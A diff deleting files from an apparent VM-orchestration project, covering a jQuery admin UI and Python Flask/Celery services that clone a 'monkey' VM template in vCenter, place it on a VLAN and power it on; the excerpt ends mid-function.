_fnGetCellData:B,_fnSetCellData:ib,_fnSplitObjNotation:La,_fnGetObjectDataFn:P,_fnSetObjectDataFn:Q,_fnGetDataMaster:Ma,_fnClearTable:na,_fnDeleteIndex:oa,_fnInvalidate:ea,_fnGetRowElements:Ka,_fnCreateTr:Ja,_fnBuildHead:kb,_fnDrawHead:ga,_fnDraw:M,_fnReDraw:R,_fnAddOptionsHtml:nb,_fnDetectHeader:fa,_fnGetUniqueThs:qa,_fnFeatureHtmlFilter:pb,_fnFilterComplete:ha,_fnFilterCustom:yb,_fnFilterColumn:xb,_fnFilter:wb,_fnFilterCreateSearch:Qa,_fnEscapeRegex:va,_fnFilterData:zb,_fnFeatureHtmlInfo:sb,_fnUpdateInfo:Cb,
_fnInfoMacros:Db,_fnInitialise:ia,_fnInitComplete:ta,_fnLengthChange:Ra,_fnFeatureHtmlLength:ob,_fnFeatureHtmlPaginate:tb,_fnPageChange:Ta,_fnFeatureHtmlProcessing:qb,_fnProcessingDisplay:C,_fnFeatureHtmlTable:rb,_fnScrollDraw:Z,_fnApplyToChildren:H,_fnCalculateColumnWidths:Ha,_fnThrottle:ua,_fnConvertToWidth:Fb,_fnGetWidestNode:Gb,_fnGetMaxLenString:Hb,_fnStringToCss:u,_fnSortFlatten:V,_fnSort:mb,_fnSortAria:Jb,_fnSortListener:Ua,_fnSortAttachListener:Oa,_fnSortingClasses:xa,_fnSortData:Ib,_fnSaveState:ya,
_fnLoadState:Kb,_fnSettingsFromNode:za,_fnLog:J,_fnMap:F,_fnBindAction:Va,_fnCallbackReg:z,_fnCallbackFire:w,_fnLengthOverflow:Sa,_fnRenderer:Pa,_fnDataSource:y,_fnRowAttributes:Na,_fnCalculateEnd:function(){}});h.fn.dataTable=m;h.fn.dataTableSettings=m.settings;h.fn.dataTableExt=m.ext;h.fn.DataTable=function(a){return h(this).dataTable(a).api()};h.each(m,function(a,b){h.fn.DataTable[a]=b});return h.fn.dataTable};"function"===typeof define&&define.amd?define("datatables",["jquery"],S):"object"===
typeof exports?module.exports=S(require("jquery")):jQuery&&!jQuery.fn.dataTable&&S(jQuery)})(window,document);

File diff suppressed because it is too large Load Diff

View File

@ -1,308 +0,0 @@
// The JSON must be fully loaded before onload() happens for calling draw() on 'monkeys'
$.ajaxSetup({
async: false
});
// Images/icons constants
const ICONS_DIR = "./css/img/objects/";
const ICONS_EXT = ".png";
// General options
// If variable from local storage != null, assign it, otherwise set it's default value.
var jobsTable = undefined;
var logsTable = undefined;
var jobCfg = undefined;
var conCfg = undefined;
var selectedJob = undefined;
JSONEditor.defaults.theme = 'bootstrap3';
function initAdmin() {
jobsTable = $("#jobs-table").DataTable({
"ordering": true,
"order": [[1, "desc"]],
});
logsTable = $("#logs-table").DataTable({
"ordering": false,
});
jobsTable.on( 'click', 'tr', function () {
if ( $(this).hasClass('selected') ) {
$(this).removeClass('selected');
}
else {
jobsTable.$('tr.selected').removeClass('selected');
$(this).addClass('selected');
}
jobdata = jobsTable.row(this).data();
selectedJob = jobdata[0];
createNewJob(selectedJob, jobdata[3]);
showLog(selectedJob);
} );
setInterval(updateJobs, 5000);
setInterval(showLog, 5000);
updateJobs();
}
function showLog() {
logsTable.clear();
if (!selectedJob) {
return;
}
$.getJSON('/job?action=log&id=' + selectedJob, function(json) {
var logsList = json.log;
for (var i = 0; i < logsList.length; i++) {
logsTable.row.add([logsList[i][0], logsList[i][1]]);
}
logsTable.draw();
});
}
function updateJobs() {
$.getJSON('/job', function(json) {
jobsTable.clear();
var jobsList = json.objects;
for (var i = 0; i < jobsList.length; i++) {
r = jobsTable.row.add([jobsList[i].id, jobsList[i].creation_time, jobsList[i].type,jobsList[i].state, JSON.stringify(jobsList[i].properties)]);
$(this).addClass('selected');
if (jobsList[i].id == selectedJob) {
jobsTable.row(r[0]).nodes().to$().addClass( 'selected' );
}
}
jobsTable.draw();
});
}
function stopJob() {
$.ajax({
headers : {
'Accept' : 'application/json',
},
url : '/job?action=stop&id=' + selectedJob,
type : 'GET',
success : function(response, textStatus, jqXhr) {
console.log("Stopped job");
},
error : function(jqXHR, textStatus, errorThrown) {
// log the error to the console
console.log("The following error occured: " + textStatus, errorThrown);
},
complete : function() {
console.log("Trying to stop job...");
}
});
}
function loadConnectorsConfig() {
elem = document.getElementById('connectors-config');
elem.innerHTML = ""
conCfg = new JSONEditor(elem,{
schema: {
type: "object",
title: "Connector",
properties: {
connector: {
title: "Type",
$ref: "/connector",
}
},
options: {
"collapsed": false
},
},
ajax: true,
disable_edit_json: false,
disable_collapse: true,
disable_properties: true,
no_additional_properties: true
});
conCfg.on('ready',function() {
document.getElementById("btnSaveConnectorConfig").style.visibility = "visible";
});
}
function updateConnectorConfig() {
var con_config = conCfg.getValue()
$.ajax({
headers : {
'Accept' : 'application/json',
'Content-Type' : 'application/json'
},
url : '/connector',
type : 'POST',
data : JSON.stringify(con_config.connector),
success : function(response, textStatus, jqXhr) {
console.log("New vcenter config successfully updated!");
document.getElementById("btnSaveConnectorConfig").style.visibility = "hidden";
elem = document.getElementById('connectors-config');
elem.innerHTML = ""
},
error : function(jqXHR, textStatus, errorThrown) {
// log the error to the console
console.log("The following error occured: " + textStatus, errorThrown);
},
complete : function() {
console.log("Sending vcenter config update...");
}
});
}
function emptySelection() {
selectedJob = undefined;
showLog();
jobsTable.$('tr.selected').removeClass('selected');
}
function createNewJob(id, state) {
if (!id) {
emptySelection();
}
elem = document.getElementById('job-config');
elem.innerHTML = ""
document.getElementById("btnSendJob").style.visibility = "hidden";
document.getElementById("btnDeleteJob").style.visibility = "hidden";
document.getElementById("btnStopJob").style.visibility = "hidden";
jobCfg = new JSONEditor(elem,{
schema: {
type: "object",
title: "Job",
properties: {
job: {
title: "Type",
$ref: "/jobcreate" + ((id)?"?id="+id:""),
}
},
options: {
"collapsed": false
},
},
ajax: true,
disable_edit_json: false,
disable_collapse: true,
disable_properties: true,
no_additional_properties: true
});
jobCfg.on('ready',function() {
if (id && state != "pending") {
jobCfg.disable();
if (state == "running") {
document.getElementById("btnStopJob").style.visibility = "visible";
}
}
else {
jobCfg.enable();
document.getElementById("btnSendJob").style.visibility = "visible";
if (id) {
document.getElementById("btnDeleteJob").style.visibility = "visible";
}
}
});
}
function sendJob() {
var job_config = jobCfg.getValue()
$.ajax({
headers : {
'Accept' : 'application/json',
'Content-Type' : 'application/json'
},
url : '/jobcreate',
type : 'POST',
data : JSON.stringify(job_config.job),
success : function(response, textStatus, jqXhr) {
console.log("Job successfully updated!");
updateJobs();
},
error : function(jqXHR, textStatus, errorThrown) {
// log the error to the console
console.log("The following error occured: " + textStatus, errorThrown);
},
complete : function() {
console.log("Sending job config...");
}
});
}
function deleteJob() {
var job_config = jobCfg.getValue();
if (job_config.job.id) {
$.ajax({
headers : {
'Accept' : 'application/json',
'Content-Type' : 'application/json'
},
url : '/jobcreate',
type : 'GET',
data : "action=delete&id=" + job_config.job.id,
success : function(response, textStatus, jqXhr) {
console.log("Job successfully updated!");
updateJobs();
},
error : function(jqXHR, textStatus, errorThrown) {
// log the error to the console
console.log("The following error occured: " + textStatus, errorThrown);
},
complete : function() {
console.log("Sending job config...");
}
});
}
}
function configSched() {
}
/**
* Clears the value in the local storage
*/
function clear(key) {
if (localStorage[key]) {
delete localStorage[key];
}
};
/** /.localStorage Section **/
/** **/
/** ----- **/
/** **/
/** Utilities Section **/
/**
* Returns the differences between two arrays
*/
Array.prototype.diff = function(other) {
var diff = [];
for (var i = 0; i < this.length; i++) {
var obj = this[i];
if (other.indexOf(obj) == -1) {
diff.push(obj);
}
}
for (var i = 0; i < other.length; i++) {
var obj = other[i];
if (this.indexOf(obj) == -1 && diff.indexOf(obj) == -1) {
diff.push(obj);
}
}
return diff;
};
/** /.Utilities Section **/
/** **/

View File

@ -1,112 +0,0 @@
;(function($, window, document, undefined) {
var pluginName = "metisMenu",
defaults = {
toggle: true,
doubleTapToGo: false
};
function Plugin(element, options) {
this.element = $(element);
this.settings = $.extend({}, defaults, options);
this._defaults = defaults;
this._name = pluginName;
this.init();
}
Plugin.prototype = {
init: function() {
var $this = this.element,
$toggle = this.settings.toggle,
obj = this;
if (this.isIE() <= 9) {
$this.find("li.active").has("ul").children("ul").collapse("show");
$this.find("li").not(".active").has("ul").children("ul").collapse("hide");
} else {
$this.find("li.active").has("ul").children("ul").addClass("collapse in");
$this.find("li").not(".active").has("ul").children("ul").addClass("collapse");
}
//add the "doubleTapToGo" class to active items if needed
if (obj.settings.doubleTapToGo) {
$this.find("li.active").has("ul").children("a").addClass("doubleTapToGo");
}
$this.find("li").has("ul").children("a").on("click" + "." + pluginName, function(e) {
e.preventDefault();
//Do we need to enable the double tap
if (obj.settings.doubleTapToGo) {
//if we hit a second time on the link and the href is valid, navigate to that url
if (obj.doubleTapToGo($(this)) && $(this).attr("href") !== "#" && $(this).attr("href") !== "") {
e.stopPropagation();
document.location = $(this).attr("href");
return;
}
}
$(this).parent("li").toggleClass("active").children("ul").collapse("toggle");
if ($toggle) {
$(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide");
}
});
},
isIE: function() { //https://gist.github.com/padolsey/527683
var undef,
v = 3,
div = document.createElement("div"),
all = div.getElementsByTagName("i");
while (
div.innerHTML = "<!--[if gt IE " + (++v) + "]><i></i><![endif]-->",
all[0]
) {
return v > 4 ? v : undef;
}
},
//Enable the link on the second click.
doubleTapToGo: function(elem) {
var $this = this.element;
//if the class "doubleTapToGo" exists, remove it and return
if (elem.hasClass("doubleTapToGo")) {
elem.removeClass("doubleTapToGo");
return true;
}
//does not exists, add a new class and return false
if (elem.parent().children("ul").length) {
//first remove all other class
$this.find(".doubleTapToGo").removeClass("doubleTapToGo");
//add the class on the current element
elem.addClass("doubleTapToGo");
return false;
}
},
remove: function() {
this.element.off("." + pluginName);
this.element.removeData(pluginName);
}
};
$.fn[pluginName] = function(options) {
this.each(function () {
var el = $(this);
if (el.data(pluginName)) {
el.data(pluginName).remove();
}
el.data(pluginName, new Plugin(this, options));
});
return this;
};
})(jQuery, window, document);

View File

@ -1,36 +0,0 @@
$(function() {
$('#side-menu').metisMenu();
});
//Loads the correct sidebar on window load,
//collapses the sidebar on window resize.
// Sets the min-height of #page-wrapper to window size
$(function() {
$(window).bind("load resize", function() {
topOffset = 50;
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
if (width < 768) {
$('div.navbar-collapse').addClass('collapse');
topOffset = 100; // 2-row-menu
} else {
$('div.navbar-collapse').removeClass('collapse');
}
height = ((this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height) - 1;
height = height - topOffset;
if (height < 1) height = 1;
if (height > topOffset) {
$("#page-wrapper").css("min-height", (height) + "px");
}
});
var url = window.location;
var element = $('ul.nav a').filter(function() {
return this.href == url || url.href.indexOf(this.href) == 0;
}).addClass('active').parent().parent().addClass('in').parent();
if (element.is('li')) {
element.addClass('active');
}
});

File diff suppressed because one or more lines are too long

View File

@ -1,31 +0,0 @@
from connectors.vcenter import VCenterJob, VCenterConnector
from connectors.demo import DemoJob, DemoConnector
available_jobs = [VCenterJob, DemoJob]
def get_connector_by_name(name):
for jobclass in available_jobs:
if name == jobclass.connector_type.__name__:
return jobclass.connector_type()
return None
def get_jobclass_by_name(name):
for jobclass in available_jobs:
if jobclass.__name__ == name:
return jobclass
def refresh_connector_config(mongo, connector):
properties = mongo.db.connector.find_one({"type": connector.__class__.__name__})
if properties:
connector.load_properties(properties)
def load_connector(mongo, name):
con = get_connector_by_name(name)
if not con:
return None
refresh_connector_config(mongo, con)
return con

View File

@ -1,93 +0,0 @@
def _load_prop_dict(self, target, prop):
for property in prop:
if not target.has_key(property):
continue
if type(prop[property]) is dict:
_load_prop_dict(self, target[property], prop[property])
else:
target[property] = prop[property]
class NetControllerConnector(object):
def __init__(self):
self._properties = {}
def is_connected(self):
return False
def connect(self):
return
def get_properties(self):
return self._properties
def load_properties(self, properties):
_load_prop_dict(self, self._properties, properties)
def get_vlans_list(self):
raise NotImplementedError()
def get_entities_on_vlan(self, vlanid):
raise NotImplementedError()
def deploy_monkey(self, vlanid):
raise NotImplementedError()
def disconnect(self):
return
def log(self, text):
pass
def set_logger(self, logger):
self.log = logger
class NetControllerJob(object):
connector_type = NetControllerConnector
_connector = None
_logger = None
_properties = {
# property: value
}
_enumerations = {
}
def __init__(self, existing_connector=None, logger=None):
self._connector = existing_connector
self._logger = logger
if logger:
self._connector.set_logger(self.log)
def log(self, text):
if self._logger:
self._logger.log(text)
# external API
def get_job_properties(self):
return self._properties
def load_job_properties(self, properties):
_load_prop_dict(self, self._properties, properties)
def get_property_function(self, property):
if property in self._enumerations.keys():
return self._enumerations[property]
return None
def run(self):
raise NotImplementedError()
def get_results(self):
return []
def get_state(self):
return None
def stop(self):
raise NotImplementedError()

View File

@ -1,49 +0,0 @@
from connectors import NetControllerJob, NetControllerConnector
demo_state = {
501: ["Machine A", "Machine B"],
502: ["Machine C",],
503: ["Machine D",],
514: ["Machine E", "Machine F"],
}
class DemoConnector(NetControllerConnector):
def __init__(self):
self._conn = None
self._properties = {
"address": "127.0.0.1",
"port": 0,
"username": "",
"password": "",
}
def connect(self):
self._conn = object()
def is_connected(self):
return not self._conn == None
def disconnect(self):
self._conn = None
def get_vlans_list(self):
return demo_state.keys()
def get_entities_on_vlan(self, vlanid):
if (demo_state.has_key(vlanid)):
return demo_state[vlanid]
return []
class DemoJob(NetControllerJob):
connector_type = DemoConnector
_properties = {
"vlan": 0,
}
_enumerations = {
"vlan": "get_vlans_list",
}
def run(self):
import time
self.log("Running demo job...")
time.sleep(30)

View File

@ -1,271 +0,0 @@
from connectors import NetControllerJob, NetControllerConnector
from pyVmomi import vim
from pyVim.connect import SmartConnect, Disconnect
class VCenterConnector(NetControllerConnector):
def __init__(self):
self._service_instance = None
self._properties = {
"address": "127.0.0.1",
"port": 0,
"username": "",
"password": "",
"monkey_template_name": "",
"monkey_vm_info": {
"datacenter_name": "",
"vm_folder": "",
"datastore_name": "",
"cluster_name": "",
"resource_pool": ""
}
}
self._cache = {
"vlans" : []
}
def connect(self):
import ssl
try:
self._service_instance = SmartConnect(host=self._properties["address"],
port=self._properties["port"],
user=self._properties["username"],
pwd=self._properties["password"])
except ssl.SSLError:
# some organizations use self-signed certificates...
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
self._service_instance = SmartConnect(host=self._properties["address"],
port=self._properties["port"],
user=self._properties["username"],
pwd=self._properties["password"],
sslContext=gcontext)
def is_connected(self):
if (self._service_instance == None):
return False
try:
self._service_instance.serverClock
except vim.fault.NotAuthenticated, e:
return False
def get_vlans_list(self):
if not self.is_connected():
self.connect()
if self._cache and self._cache.has_key("vlans") and self._cache["vlans"]:
return self._cache["vlans"]
vcontent = self._service_instance.RetrieveContent() # get updated vsphare state
vimtype = [vim.Network]
objview = vcontent.viewManager.CreateContainerView(vcontent.rootFolder, vimtype, True)
self._cache["vlans"] = [x.name for x in objview.view]
objview.Destroy()
return self._cache["vlans"]
def get_vm(self, vmname):
if not self.is_connected():
self.connect()
vcontent = self._service_instance.RetrieveContent() # get updated vsphare state
return self._get_obj(vcontent, [vim.VirtualMachine], vmname)
def deploy_monkey(self, vm_name):
if not self._properties["monkey_template_name"]:
raise Exception("Monkey template not configured")
if not self.is_connected():
self.connect()
vcontent = self._service_instance.RetrieveContent() # get updated vsphare state
monkey_template = self._get_obj(vcontent, [vim.VirtualMachine], self._properties["monkey_template_name"])
if not monkey_template:
raise Exception("Monkey template not found")
self.log("Cloning vm: (%s -> %s)" % (monkey_template, vm_name))
monkey_vm = self._clone_vm(vcontent, monkey_template, vm_name)
if not monkey_vm:
raise Exception("Error deploying monkey VM")
self.log("Finished cloning")
return monkey_vm
def set_network(self, vm_obj, vlan_name):
if not self.is_connected():
self.connect()
vcontent = self._service_instance.RetrieveContent() # get updated vsphare state
dvs_pg = self._get_obj(vcontent, [vim.dvs.DistributedVirtualPortgroup], vlan_name)
nic = self._get_vm_nic(vm_obj)
virtual_nic_spec = self._create_nic_spec(nic, dvs_pg)
dev_changes = [virtual_nic_spec]
spec = vim.vm.ConfigSpec()
spec.deviceChange = dev_changes
task = vm_obj.ReconfigVM_Task(spec=spec)
return self._wait_for_task(task)
def power_on(self, vm_obj):
task = vm_obj.PowerOnVM_Task()
return self._wait_for_task(task)
def power_off(self, vm_obj):
task = vm_obj.PowerOffVM_Task()
return self._wait_for_task(task)
def destroy(self, vm_obj):
task = vm_obj.Destroy_Task()
return self._wait_for_task(task)
def disconnect(self):
Disconnect(self._service_instance)
self._service_instance = None
def __del__(self):
if self._service_instance:
self.disconnect()
def _get_vm_nic(self, vm_obj):
for dev in vm_obj.config.hardware.device:
if isinstance(dev, vim.vm.device.VirtualEthernetCard):
return dev
return None
def _create_nic_spec(self, virtual_nic_device, dvs_pg):
virtual_nic_spec = vim.vm.device.VirtualDeviceSpec()
virtual_nic_spec.operation = vim.vm.device.VirtualDeviceSpec.Operation.edit
virtual_nic_spec.device = virtual_nic_device
virtual_nic_spec.device.key = virtual_nic_device.key
virtual_nic_spec.device.macAddress = virtual_nic_device.macAddress
virtual_nic_spec.device.wakeOnLanEnabled = virtual_nic_device.wakeOnLanEnabled
virtual_nic_spec.device.connectable = vim.vm.device.VirtualDevice.ConnectInfo()
virtual_nic_spec.device.connectable.startConnected = True
virtual_nic_spec.device.connectable.connected = True
virtual_nic_spec.device.connectable.allowGuestControl = True
# configure port connection object on the requested dvs port group
dvs_port_connection = vim.dvs.PortConnection()
dvs_port_connection.portgroupKey = dvs_pg.key
dvs_port_connection.switchUuid = dvs_pg.config.distributedVirtualSwitch.uuid
# assign port to device
virtual_nic_spec.device.backing = vim.vm.device.VirtualEthernetCard.DistributedVirtualPortBackingInfo()
virtual_nic_spec.device.backing.port = dvs_port_connection
return virtual_nic_spec
def _clone_vm(self, vcontent, vm, name):
# get vm target folder
if self._properties["monkey_vm_info"]["vm_folder"]:
destfolder = self._get_obj(vcontent, [vim.Folder], self._properties["monkey_vm_info"]["vm_folder"])
else:
datacenter = self._get_obj(vcontent, [vim.Datacenter], self._properties["monkey_vm_info"]["datacenter_name"])
destfolder = datacenter.vmFolder
# get vm target datastore
if self._properties["monkey_vm_info"]["datacenter_name"]:
datastore = self._get_obj(vcontent, [vim.Datastore], self._properties["monkey_vm_info"]["datacenter_name"])
else:
datastore = self._get_obj(vcontent, [vim.Datastore], vm.datastore[0].info.name)
# get vm target resource pool
if self._properties["monkey_vm_info"]["resource_pool"]:
resource_pool = self._get_obj(vcontent, [vim.ResourcePool], self._properties["monkey_vm_info"]["resource_pool"])
else:
cluster = self._get_obj(vcontent, [vim.ClusterComputeResource], self._properties["monkey_vm_info"]["cluster_name"])
resource_pool = cluster.resourcePool
# set relospec
relospec = vim.vm.RelocateSpec()
relospec.datastore = datastore
relospec.pool = resource_pool
clonespec = vim.vm.CloneSpec()
clonespec.location = relospec
self.log("Starting clone task with the following info: %s" % repr({"folder": destfolder, "name": name, "clonespec": clonespec}))
task = vm.Clone(folder=destfolder, name=name, spec=clonespec)
return self._wait_for_task(task)
def _wait_for_task(self, task):
""" wait for a vCenter task to finish """
task_done = False
while not task_done:
if task.info.state == 'success':
if task.info.result:
return task.info.result
else:
return True
if task.info.state == 'error':
self.log("Error waiting for task: %s" % repr(task.info))
return None
if task.info.state == 'success':
return task.info.result
return None
@staticmethod
def _get_obj(content, vimtype, name):
"""
Return an object by name, if name is None the
first found object is returned
"""
obj = None
container = content.viewManager.CreateContainerView(
content.rootFolder, vimtype, True)
for c in container.view:
if name:
if c.name == name:
obj = c
break
else:
obj = c
break
return obj
class VCenterJob(NetControllerJob):
connector_type = VCenterConnector
_vm_obj = None
_properties = {
"vlan": "",
"vm_name": "",
}
_enumerations = {
"vlan": "get_vlans_list",
}
def run(self):
if not self._connector:
return False
monkey_vm = self._connector.deploy_monkey(self._properties["vm_name"])
if not monkey_vm:
return False
self._vm_obj = monkey_vm
self.log("Setting vm network")
if not self._connector.set_network(monkey_vm, self._properties["vlan"]):
return False
self.log("Powering on vm")
if not self._connector.power_on(monkey_vm):
return False
return True
def stop(self):
if not self._connector:
return False
if not self._vm_obj:
self._vm_obj = self._connector.get_vm(self._properties["vm_name"])
if not self._vm_obj:
self.log("Error: Couldn't find VM %s" % self._properties["vm_name"])
return False
self.log("Stopping: %s" % self._properties["vm_name"])
self._connector.power_off(self._vm_obj)
self._connector.destroy(self._vm_obj)
return True

View File

@ -1,9 +0,0 @@
SRV_ADDRESS = 'localhost:27017'
BROKER_URL = 'mongodb://%(srv)s/monkeybusiness' % {'srv': SRV_ADDRESS}
MONGO_URI = BROKER_URL
CELERY_RESULT_BACKEND = 'mongodb://%(srv)s/' % {'srv': SRV_ADDRESS}
CELERY_MONGODB_BACKEND_SETTINGS = {
'database': 'monkeybusiness',
'taskmeta_collection': 'celery_taskmeta',
}
#CELERYD_LOG_FILE="../celery.log"

View File

@ -1,326 +0,0 @@
from flask import Flask, request, abort, send_from_directory
from flask.ext import restful
from flask.ext.pymongo import PyMongo
from flask import make_response
import bson.json_util
import json
from datetime import datetime
from common import *
import tasks_manager
app = Flask(__name__)
app.config.from_object('dbconfig')
mongo = PyMongo(app)
active_connectors = {}
class Root(restful.Resource):
def get(self):
return {
'status': 'OK',
'mongo': str(mongo.db),
}
class Job(restful.Resource):
def get(self, **kw):
id = request.args.get('id')
action = request.args.get('action')
if action == "log":
return {"log": get_job_log(id)}
elif action == "stop":
job = mongo.db.job.find_one_or_404({"_id": bson.ObjectId(id)})
if "running" == job.get("state"):
tasks_manager.stop_task.delay(bson.ObjectId(id))
return {'status': 'ok'}
else:
return {'status': 'failed'}
result = {}
if id:
return mongo.db.job.find_one_or_404({"_id": bson.ObjectId(id)})
else:
result['timestamp'] = datetime.now().isoformat()
result['objects'] = [x for x in mongo.db.job.find().sort("creation_time", -1)]
return result
def post(self, **kw):
job_json = json.loads(request.data)
job_json["modifytime"] = datetime.now()
if job_json.has_key('pk'):
job = mongo.db.job.find_one_or_404({"pk": job_json["pk"]})
if "pending" != job.get("state"):
res = {"status": "cannot change job at this state", "res" : 0}
return res
if "delete" == job_json["action"]:
return mongo.db.job.delete_one({"pk": job_json["pk"]})
# update job
job_json["status"] = "pending"
return mongo.db.job.update({"pk": job_json["pk"]},
{"$set": job_json},
upsert=True)
class Connector(restful.Resource):
def get(self, **kw):
contype = request.args.get('type')
# if no type given - return list of types
if not contype:
conlist = []
checked_con = [] # used for easy checking for reoccurring connectors
for jobclass in available_jobs:
if jobclass.connector_type.__name__ not in checked_con:
checked_con.append(jobclass.connector_type.__name__)
conlist.append({"title": jobclass.connector_type.__name__, "$ref": "/connector?type=" + jobclass.connector_type.__name__})
return {"oneOf": conlist}
con = get_connector_by_name(contype)
if not con:
return {}
properties = mongo.db.connector.find_one({"type": con.__class__.__name__})
if properties:
con.load_properties(properties)
con_prop = con.get_properties()
con_prop["password"] = "" # for better security, don't expose password
properties = _build_prop_dict(con_prop)
properties["type"] = {
"type": "enum",
"enum": [contype],
"options": {"hidden": True}
}
res = dict({
"title": "%s Connector" % contype,
"type": "object",
"options": {
"disable_collapse": True,
"disable_properties": True,
},
"properties": properties
})
return res
def post(self, **kw):
settings_json = json.loads(request.data)
contype = settings_json.get("type")
if not contype:
return {}
# preserve password if empty given
properties = mongo.db.connector.find_one({"type": contype})
if properties and (not settings_json.has_key("password") or not settings_json["password"]):
settings_json["password"] = properties.get("password")
return mongo.db.connector.update({"type": contype},
{"$set": settings_json},
upsert=True)
class JobCreation(restful.Resource):
def get(self, **kw):
jobtype = request.args.get('type')
action = request.args.get('action')
jobid = request.args.get('id')
if not (jobtype or jobid):
res = []
update_connectors()
for con in available_jobs:
if con.connector_type.__name__ in active_connectors:
res.append({"title": con.__name__, "$ref": "/jobcreate?type=" + con.__name__})
return {"oneOf": res}
job = None
if not jobid:
job = get_jobclass_by_name(jobtype)()
else:
loaded_job = mongo.db.job.find_one({"_id": bson.ObjectId(jobid)})
if loaded_job:
job = get_jobclass_by_name(loaded_job.get("type"))()
job.load_job_properties(loaded_job.get("properties"))
if action == "delete":
if loaded_job.get("state") == "pending":
res = mongo.db.job.remove({"_id": bson.ObjectId(jobid), "state": "pending"})
if res["nModified"] == 1:
return {'status': 'ok'}
else:
return {'status': 'error deleting'}
else:
return {'status': 'bad state'}
if job and job.connector_type.__name__ in active_connectors.keys():
job_prop = job.get_job_properties()
properties = _build_prop_dict(job_prop, job)
properties["type"] = {
"type": "enum",
"enum": [job.__class__.__name__],
"options": {"hidden": True}
}
if jobid:
properties["_id"] = {
"type": "enum",
"enum": [jobid],
"name": "ID",
}
res = dict({
"title": "%s Job" % jobtype,
"type": "object",
"options": {
"disable_collapse": True,
"disable_properties": True,
},
"properties": properties
})
return res
return {}
def post(self, **kw):
settings_json = json.loads(request.data)
jobtype = settings_json.get("type")
jobid = settings_json.get("id")
job = None
for jobclass in available_jobs:
if jobclass.__name__ == jobtype:
job = jobclass()
if not job:
return {'status': 'bad type'}
# params validation
job.load_job_properties(settings_json)
parsed_prop = job.get_job_properties()
if jobid:
res = mongo.db.job.update({"_id": bson.ObjectId(jobid)},
{"$set": {"properties": parsed_prop}})
if res and (res["ok"] == 1):
return {'status': 'ok', 'updated': res["nModified"]}
else:
return {'status': 'failed'}
else:
new_job = {
"creation_time": datetime.now(),
"type": jobtype,
"properties": parsed_prop,
"taskid": "",
"state" : "pending",
}
jobid = mongo.db.job.insert(new_job)
async = tasks_manager.run_task.delay(jobid)
mongo.db.job.update({"_id": jobid},
{"$set": {"taskid": async.id}})
return {'status': 'created'}
def normalize_obj(obj):
if obj.has_key('_id') and not obj.has_key('id'):
obj['id'] = obj['_id']
del obj['_id']
for key,value in obj.items():
if type(value) is bson.objectid.ObjectId:
obj[key] = str(value)
if type(value) is datetime:
obj[key] = str(value)
if type(value) is dict:
obj[key] = normalize_obj(value)
if type(value) is list:
for i in range(0,len(value)):
if type(value[i]) is dict:
value[i] = normalize_obj(value[i])
return obj
def _build_prop_dict(properties, job_obj=None):
res = dict()
for prop in properties:
res[prop] = dict({})
res[prop]["default"] = properties[prop]
if type(properties[prop]) is int:
res[prop]["type"] = "number"
elif type(properties[prop]) is bool:
res[prop]["type"] = "boolean"
elif type(properties[prop]) is dict:
res[prop]["type"] = "object"
res[prop]["properties"] = _build_prop_dict(properties[prop], job_obj)
else:
res[prop]["type"] = "string"
if job_obj:
enum = job_obj.get_property_function(prop)
if enum:
res[prop]["enum"] = list(
active_connectors[job_obj.connector_type.__name__].__getattribute__(enum)())
return res
def output_json(obj, code, headers=None):
obj = normalize_obj(obj)
resp = make_response(bson.json_util.dumps(obj), code)
resp.headers.extend(headers or {})
return resp
def get_job_log(jobid):
res = mongo.db.results.find_one({"jobid": bson.ObjectId(jobid)})
if res:
return res["log"]
return []
def update_connectors():
for con in available_jobs:
connector_name = con.connector_type.__name__
if connector_name not in active_connectors:
active_connectors[connector_name] = con.connector_type()
if not active_connectors[connector_name].is_connected():
refresh_connector_config(mongo, active_connectors[connector_name])
try:
app.logger.info("Trying to activate connector: %s" % connector_name)
active_connectors[connector_name].connect()
except Exception, e:
active_connectors.pop(connector_name)
app.logger.info("Error activating connector: %s, reason: %s" % (connector_name, e))
@app.before_first_request
def init():
update_connectors()
@app.route('/admin/<path:path>')
def send_admin(path):
return send_from_directory('admin/ui', path)
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
api = restful.Api(app)
api.representations = DEFAULT_REPRESENTATIONS
api.add_resource(Root, '/api')
api.add_resource(Job, '/job')
api.add_resource(Connector, '/connector')
api.add_resource(JobCreation, '/jobcreate')
if __name__ == '__main__':
from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
http_server.listen(5000)
IOLoop.instance().start()
#app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))

View File

@ -1,185 +0,0 @@
import time
from flask import Flask
from datetime import datetime
from flask.ext.pymongo import PyMongo
from celery import Celery
from common import *
def make_celery(app):
celery = Celery(main='MONKEY_TASKS', backend=app.config['CELERY_RESULT_BACKEND'],
broker=app.config['BROKER_URL'])
celery.conf.update(app.config)
TaskBase = celery.Task
class ContextTask(TaskBase):
abstract = True
def __call__(self, *args, **kwargs):
with app.app_context():
return TaskBase.__call__(self, *args, **kwargs)
celery.Task = ContextTask
return celery
fapp = Flask(__name__)
fapp.config.from_object('dbconfig')
celery = make_celery(fapp)
mongo = PyMongo(fapp)
class JobExecution(object):
_jobinfo = None
_job = None
_mongo = None
_log = []
def __init__(self, mongo, jobinfo):
self._mongo = mongo
self._jobinfo = jobinfo
job_class = get_jobclass_by_name(self._jobinfo["type"])
con = job_class.connector_type()
refresh_connector_config(self._mongo, con)
self._job = job_class(con, self)
self._job.load_job_properties(self._jobinfo["properties"])
prev_log = self._mongo.db.results.find_one({"jobid": self._jobinfo["_id"]})
if prev_log:
self._log = prev_log["log"]
else:
self._log = []
def get_job(self):
return self._job
def refresh_job_info(self):
self._jobinfo = self._mongo.db.job.find_one({"_id": self._jobinfo["_id"]})
def update_job_state(self, state):
self._mongo.db.job.update({"_id": self._jobinfo["_id"]},
{"$set": {"state": state}})
def _log_resutls(self, res):
self._mongo.db.results.update({"jobid": self._jobinfo["_id"]},
{"$set": {"results": {"time" : datetime.now(), "res" : res}}},
upsert=True)
def log(self, text):
self._log.append([datetime.now().isoformat(), text])
self._mongo.db.results.update({"jobid": self._jobinfo["_id"]},
{"$set": {"log": self._log}},
upsert=True)
def run(self):
self.log("Starting job")
res = None
try:
res = self._job.run()
except Exception, e:
